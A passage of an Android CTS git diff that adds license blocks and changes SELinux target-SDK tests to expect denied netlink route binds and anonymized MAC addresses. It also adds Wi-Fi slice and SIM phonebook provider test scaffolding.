index 23bd6fd..381a57b 100644
--- a/tests/tests/security/testeffect/Android.bp
+++ b/tests/tests/security/testeffect/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 // Test effect library
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctstesteffect",
     srcs: ["CTSTestEffect.cpp"],
diff --git a/tests/tests/selinux/common/jni/Android.bp b/tests/tests/selinux/common/jni/Android.bp
index 275b0ce..3952bc2 100644
--- a/tests/tests/selinux/common/jni/Android.bp
+++ b/tests/tests/selinux/common/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsselinux_jni",
     srcs: [
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 6ec352c..496270f 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -12,6 +12,7 @@
 import java.util.Collections;
 import java.util.regex.Pattern;
 import java.util.regex.Matcher;
+import org.junit.Assert;
 
 abstract class SELinuxTargetSdkTestBase extends AndroidTestCase
 {
@@ -19,6 +20,8 @@
         System.loadLibrary("ctsselinux_jni");
     }
 
+    static final byte[] ANONYMIZED_HARDWARE_ADDRESS = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
     protected static String getFile(String filename) throws IOException {
         BufferedReader in = null;
         try {
@@ -76,19 +79,11 @@
         }
     }
 
-    protected static void checkNetlinkRouteBind(boolean expectAllowed) throws IOException {
-        if (!expectAllowed) {
-            assertEquals(
-                    "Bind() is not allowed on a netlink route sockets",
-                    13,
-                    checkNetlinkRouteBind());
-        } else {
-            assertEquals(
-                    "Bind() should succeed for netlink route sockets for apps with "
-                            + "targetSdkVersion <= Q",
-                    -1,
-                    checkNetlinkRouteBind());
-        }
+    protected static void noNetlinkRouteBind() throws IOException {
+        assertEquals(
+                "bind() is not allowed on netlink route sockets",
+                13,
+                checkNetlinkRouteBind());
     }
 
     /**
@@ -169,16 +164,17 @@
     }
 
     /**
-     * Verify that apps having targetSdkVersion <= 29 are able to see MAC
-     * addresses of ethernet devices.
+     * Verify that apps having targetSdkVersion <= 29 get an anonymized MAC
+     * address (02:00:00:00:00:00) instead of a null MAC for ethernet interfaces.
      * The counterpart of this test (testing for targetSdkVersion > 29) is
      * {@link libcore.java.net.NetworkInterfaceTest#testGetHardwareAddress_returnsNull()}.
      */
-    protected static void checkNetworkInterface_returnsHardwareAddresses() throws Exception {
+    protected static void checkNetworkInterface_returnsAnonymizedHardwareAddresses()
+        throws Exception {
         assertNotNull(NetworkInterface.getNetworkInterfaces());
         for (NetworkInterface nif : Collections.list(NetworkInterface.getNetworkInterfaces())) {
             if (isEthernet(nif.getName())) {
-                assertEquals(6, nif.getHardwareAddress().length);
+                Assert.assertArrayEquals(ANONYMIZED_HARDWARE_ADDRESS, nif.getHardwareAddress());
             }
         }
     }
diff --git a/tests/tests/selinux/selinuxEphemeral/Android.bp b/tests/tests/selinux/selinuxEphemeral/Android.bp
index b1299d2..cfa537d 100644
--- a/tests/tests/selinux/selinuxEphemeral/Android.bp
+++ b/tests/tests/selinux/selinuxEphemeral/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSelinuxEphemeralTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
index 1ed366e..1098a6f 100644
--- a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
@@ -83,6 +83,6 @@
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.bp b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
index 3021200..5d3af6f 100644
--- a/tests/tests/selinux/selinuxTargetSdk25/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSelinuxTargetSdk25TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.bp b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
index 269b574..85144264 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSelinuxTargetSdk27TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index a784464a..5e2f75d 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk28/Android.bp b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
index f2dddbc..aab89af 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSelinuxTargetSdk28TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
index 880ae1a..29b68db 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk29/Android.bp b/tests/tests/selinux/selinuxTargetSdk29/Android.bp
index 5307277..6a5e847 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk29/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSelinuxTargetSdk29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
index 1f1eaaa..c1d93dc 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
@@ -47,8 +47,8 @@
         checkNetlinkRouteGetlink(true);
     }
 
-    public void testNetlinkRouteBindSucceeds() throws IOException {
-        checkNetlinkRouteBind(true);
+    public void testNoNetlinkRouteBind() throws IOException {
+        noNetlinkRouteBind();
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
@@ -86,6 +86,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
index e192e84..b51a5e6 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSelinuxTargetSdkCurrentTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index 05fad31..4de03b0 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -38,7 +38,7 @@
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
diff --git a/tests/tests/settings/Android.bp b/tests/tests/settings/Android.bp
new file mode 100644
index 0000000..246e3fd
--- /dev/null
+++ b/tests/tests/settings/Android.bp
@@ -0,0 +1,28 @@
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSettingsTestCases",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    libs: ["android.test.runner"],
+
+    static_libs: [
+        "androidx.slice_slice-core",
+        "androidx.slice_slice-view",
+        "ctstestrunner-axt",
+        "junit",
+        "truth-prebuilt",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/settings/AndroidManifest.xml b/tests/tests/settings/AndroidManifest.xml
new file mode 100644
index 0000000..9225b6a
--- /dev/null
+++ b/tests/tests/settings/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.settings.cts">
+
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.settings.cts"
+         android:label="CTS tests of android Settings app">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/settings/AndroidTest.xml b/tests/tests/settings/AndroidTest.xml
new file mode 100644
index 0000000..5f220f3
--- /dev/null
+++ b/tests/tests/settings/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Settings test cases">
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSettingsTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.settings.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/settings/OWNERS b/tests/tests/settings/OWNERS
new file mode 100644
index 0000000..c5f7090
--- /dev/null
+++ b/tests/tests/settings/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 27091
+tmfang@google.com
+chiujason@google.com
diff --git a/tests/tests/settings/src/android/settings/cts/WifiSliceTest.java b/tests/tests/settings/src/android/settings/cts/WifiSliceTest.java
new file mode 100644
index 0000000..26d78a5
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/WifiSliceTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.provider.Settings.Secure;
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.net.wifi.WifiManager;
+import android.os.Process;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.slice.SliceConvert;
+import androidx.slice.SliceMetadata;
+import androidx.slice.core.SliceAction;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class WifiSliceTest {
+  private static final String TAG = "WifiSliceTest";
+
+  private static final Uri WIFI_SLICE_URI =
+          Uri.parse("content://android.settings.slices/action/wifi");
+
+  private static final String ACTION_ASSIST = "android.intent.action.ASSIST";
+  private static final String ACTION_VOICE_ASSIST = "android.intent.action.VOICE_ASSIST";
+  private static final String CATEGORY_DEFAULT = "android.intent.category.DEFAULT";
+  private static final String FEATURE_VOICE_RECOGNIZERS = "android.software.voice_recognizers";
+  private static final String ASSISTANT = "assistant";
+
+  private final Context mContext = InstrumentationRegistry.getContext();
+  private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
+  private final boolean mHasVoiceRecognizersFeature =
+          mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS);
+
+  private Slice mWifiSlice;
+  private String mAssistant;
+
+  @Before
+  public void setUp() throws Exception {
+    assumeFalse("Skipping test: Auto does not support provider android.settings.slices", isCar());
+    assumeFalse("Skipping test: TV does not support provider android.settings.slices", isTv());
+    mWifiSlice = mSliceManager.bindSlice(WIFI_SLICE_URI, Collections.emptySet());
+    mAssistant = Secure.getString(mContext.getContentResolver(), ASSISTANT);
+  }
+
+  @After
+  public void tearDown() {
+    final String assistant = Secure.getString(mContext.getContentResolver(), ASSISTANT);
+    if (!TextUtils.equals(mAssistant, assistant)) {
+      Secure.putString(mContext.getContentResolver(), ASSISTANT, mAssistant);
+    }
+  }
+
+  @Test
+  public void wifiSliceToggle_changeWifiState() {
+    SliceMetadata mWifiSliceMetadata =
+            SliceMetadata.from(mContext, SliceConvert.wrap(mWifiSlice, mContext));
+    List<SliceAction> wifiSliceActions = mWifiSliceMetadata.getToggles();
+    if (wifiSliceActions.size() != 0) {
+      SliceAction toggleAction = wifiSliceActions.get(0);
+
+      toggleAction.setChecked(true);
+      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
+
+      toggleAction.setChecked(false);
+      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
+    }
+  }
+
+  @Test
+  public void wifiSlice_hasCorrectUri() {
+    assertThat(mWifiSlice.getUri()).isEqualTo(WIFI_SLICE_URI);
+  }
+
+  @Test
+  public void wifiSlice_grantedPermissionToDefaultAssistant() throws NameNotFoundException {
+    if (!mHasVoiceRecognizersFeature) {
+      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
+      return;
+    }
+    final PackageManager pm = mContext.getPackageManager();
+    final Intent requestDefaultAssistant =
+            new Intent(ACTION_ASSIST).addCategory(CATEGORY_DEFAULT);
+
+    final List<ResolveInfo> infos = pm.queryIntentActivities(requestDefaultAssistant, 0);
+
+    if (!infos.isEmpty()) {
+      final String packageName;
+      if (!TextUtils.isEmpty(mAssistant)) {
+        packageName = ComponentName.unflattenFromString(mAssistant).getPackageName();
+        Log.i(TAG, "Default assistant: " + packageName);
+      } else {
+        packageName = infos.get(0).activityInfo.packageName;
+        Log.i(TAG, "Set assistant: " + packageName);
+        Secure.putString(mContext.getContentResolver(), ASSISTANT,
+                new ComponentName(packageName, infos.get(0).activityInfo.name).flattenToString());
+      }
+      final int testPid = Process.myPid();
+      final int testUid = pm.getPackageUid(packageName, 0);
+
+      assertThat(mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid))
+              .isEqualTo(PERMISSION_GRANTED);
+    }
+  }
+
+  @Test
+  public void wifiSlice_grantedPermissionToDefaultVoiceAssistant() throws NameNotFoundException {
+    if (!mHasVoiceRecognizersFeature) {
+      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
+      return;
+    }
+    final PackageManager pm = mContext.getPackageManager();
+    final Intent requestDefaultAssistant =
+            new Intent(ACTION_VOICE_ASSIST).addCategory(CATEGORY_DEFAULT);
+
+    final ResolveInfo info = pm.resolveActivity(requestDefaultAssistant, 0);
+
+    if (info != null) {
+      final int testPid = Process.myPid();
+      final int testUid = pm.getPackageUid(info.activityInfo.packageName, 0);
+
+      assertThat(mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid))
+              .isEqualTo(PERMISSION_GRANTED);
+    }
+  }
+
+  private boolean isCar() {
+    PackageManager pm = mContext.getPackageManager();
+    return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+  }
+
+  private boolean isTv() {
+    PackageManager pm = mContext.getPackageManager();
+    return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+            && pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+  }
+
+  private boolean isWifiEnabled() {
+    final WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+    return wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLED
+            || wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLING;
+  }
+
+}
diff --git a/tests/tests/sharesheet/Android.bp b/tests/tests/sharesheet/Android.bp
index 5832998..8b4b62a 100644
--- a/tests/tests/sharesheet/Android.bp
+++ b/tests/tests/sharesheet/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSharesheetTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/sharesheet/packages/Android.bp b/tests/tests/sharesheet/packages/Android.bp
index bb2f804..3d2363b 100644
--- a/tests/tests/sharesheet/packages/Android.bp
+++ b/tests/tests/sharesheet/packages/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSharesheetActivityLabelTester",
     defaults: ["cts_defaults"],
@@ -58,4 +62,4 @@
         "android.sharesheet.cts.packages.excludetester",
     ],
     manifest: "AndroidManifest-ExcludeTester.xml",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index ba22270..5785c7f 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -41,6 +41,7 @@
 import android.service.chooser.ChooserTarget;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.StaleObjectException;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
@@ -507,7 +508,13 @@
 
     private boolean isSharesheetVisible() {
         // This method intentionally does not wait, looks to see if visible on method call
-        return mDevice.findObject(By.pkg(mSharesheetPkg).depth(0)) != null;
+        try {
+            return mDevice.findObject(By.pkg(mSharesheetPkg).depth(0)) != null;
+        } catch (StaleObjectException e) {
+            // If we get a StaleObjectException, it means that the underlying View has
+            // already been destroyed, meaning the sharesheet is no longer visible.
+            return false;
+        }
     }
 
     private Intent createMatchingIntent() {
diff --git a/tests/tests/shortcutmanager/Android.bp b/tests/tests/shortcutmanager/Android.bp
index 2c7667c..776ce70 100644
--- a/tests/tests/shortcutmanager/Android.bp
+++ b/tests/tests/shortcutmanager/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsShortcutManagerTestCases",
     defaults: [
diff --git a/tests/tests/simphonebookprovider/Android.bp b/tests/tests/simphonebookprovider/Android.bp
new file mode 100644
index 0000000..2aa2292
--- /dev/null
+++ b/tests/tests/simphonebookprovider/Android.bp
@@ -0,0 +1,70 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+filegroup {
+    name: "cts-simphonebook-rules-sources",
+    srcs: [
+        "src/android/provider/cts/simphonebook/RemovableSims.java",
+        "src/android/provider/cts/simphonebook/SimsCleanupRule.java",
+        "src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java",
+    ],
+}
+
+android_library {
+    name: "cts-simphonebook-rules",
+
+    static_libs: [
+        "androidx.test.core",
+        "compatibility-device-util-axt",
+        "hamcrest-library",
+        "junit",
+        "truth-prebuilt",
+    ],
+
+    visibility: [
+        "//cts/tests/tests/simphonebookprovider:__subpackages__",
+    ],
+
+    srcs: [
+        ":cts-simphonebook-rules-sources"
+    ],
+
+    sdk_version: "test_current",
+}
+
+android_test {
+    name: "CtsSimPhonebookProviderTestCases",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    libs: [
+        "android.test.base",
+    ],
+
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "cts-simphonebook-rules",
+        "ctstestrunner-axt",
+        "hamcrest-library",
+        "junit",
+        "telephony-common-testing",
+        "truth-prebuilt",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+    exclude_srcs: [
+        ":cts-simphonebook-rules-sources"
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/simphonebookprovider/AndroidManifest.xml b/tests/tests/simphonebookprovider/AndroidManifest.xml
new file mode 100644
index 0000000..79db286
--- /dev/null
+++ b/tests/tests/simphonebookprovider/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.provider.cts.simphonebook">
+
+    <uses-sdk android:targetSdkVersion="S" />
+
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.provider.cts.simphonebook">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+    <uses-feature android:name="android.hardware.telephony" />
+
+</manifest>
+
diff --git a/tests/tests/simphonebookprovider/AndroidTest.xml b/tests/tests/simphonebookprovider/AndroidTest.xml
new file mode 100644
index 0000000..e21c163
--- /dev/null
+++ b/tests/tests/simphonebookprovider/AndroidTest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Provider test cases">
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <!-- Instant apps can't access the system providers. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSimPhonebookProviderTestCases.apk" />
+    </target_preparer>
+
+    <object class="com.android.tradefed.testtype.suite.module.DeviceFeatureModuleController"
+        type="module_controller">
+        <option name="required-feature" value="android.hardware.telephony" />
+    </object>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+        <option name="package" value="android.provider.cts.simphonebook" />
+        <option name="runtime-hint" value="10m00s" />
+        <option name="instrumentation-arg" key="sim-pin2" value="1234" />
+        <option name="instrumentation-arg" key="sim-sdn-count" value="0" />
+    </test>
+</configuration>
diff --git a/tests/tests/simphonebookprovider/OWNERS b/tests/tests/simphonebookprovider/OWNERS
new file mode 100644
index 0000000..a818189
--- /dev/null
+++ b/tests/tests/simphonebookprovider/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 20173 (Social > People > Contacts > Android Contacts App)
+mhagerott@google.com
+garymai@google.com
diff --git a/tests/tests/simphonebookprovider/res/values/strings.xml b/tests/tests/simphonebookprovider/res/values/strings.xml
new file mode 100644
index 0000000..1bcf4c8
--- /dev/null
+++ b/tests/tests/simphonebookprovider/res/values/strings.xml
@@ -0,0 +1,19 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="label">SimPhonebook provider</string>
+</resources>
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/RemovableSims.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/RemovableSims.java
new file mode 100644
index 0000000..1d32f3a
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/RemovableSims.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
